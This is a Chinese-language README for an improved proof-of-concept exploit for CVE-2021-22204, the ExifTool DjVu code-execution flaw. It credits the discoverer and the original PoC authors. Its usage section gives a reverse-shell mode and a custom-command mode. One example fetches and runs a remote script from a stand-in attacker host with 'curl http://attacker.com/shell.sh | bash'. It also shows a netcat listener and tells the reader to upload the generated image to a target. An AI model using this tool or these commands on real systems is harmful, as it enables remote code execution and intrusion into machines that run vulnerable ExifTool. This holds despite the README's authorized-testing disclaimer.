这是针对 CVE-2021-22204 的升级版概念验证(PoC),该漏洞影响 ExifTool 7.44 至 12.23 版本,在处理恶意 DjVu 文件时可导致任意代码执行。
本文为衍生作品。该漏洞及原始利用代码并非本人所发现。
| 角色 | 人员 |
|---|---|
| 漏洞发现者 | William Bowling (@wcbowling),通过 GitLab 漏洞赏金计划提交 — 2021 年 4 月 |
| 原始 PoC 作者 | UNICORD (NicPWNs & Dev-Yeoj) |
| 本仓库修改者 | d4ytox |
ExifTool 7.44 至 12.23 版本在解析恶意图像时,由于对 DjVu 文件格式中用户数据的处理不当,可导致任意代码执行。此利用工具可生成一个恶意图像文件,当被存在漏洞的 ExifTool 版本处理时,将执行攻击者控制的代码。
基于 UNICORDev/exploit-CVE-2021-22204 进行改进:
exiftool -config 嵌入载荷,如果本机 ExifTool 已打补丁(v12.24+)则会失败。本版本仅使用 djvumake 构建纯 DjVu 载荷。\c 转义序列警告)djvulibre-bin 软件包这些是对现有利用代码的工程性改进,不涉及任何漏洞研究声明。
sudo apt install djvulibre-bin
反弹 Shell:
python3 exploit.py -s <LHOST> <LPORT>
自定义命令:
python3 exploit.py -c "id > /tmp/pwned"
示例:
# 生成反弹 Shell 载荷
python3 exploit.py -s 192.168.1.100 4444
# 生成命令执行载荷
python3 exploit.py -c "curl http://attacker.com/shell.sh | bash"
# 启动监听并等待回调
nc -nlvp 4444
该工具会生成 image.jpg - 将其上传到目标系统,等待 ExifTool 处理即可。
本工具仅供教育和授权安全测试目的使用。
作者不对因使用本工具造成的任何滥用或损害负责。请仅对您拥有或已获得明确书面授权测试的系统使用此利用代码。
未经授权访问计算机系统属于违法行为,将受到法律制裁。请负责任地使用。
MIT 许可证,仅适用于本仓库中的修改内容。上游 PoC 未附带许可证,因此其版权归原作者所有。完整署名声明请参见 LICENSE。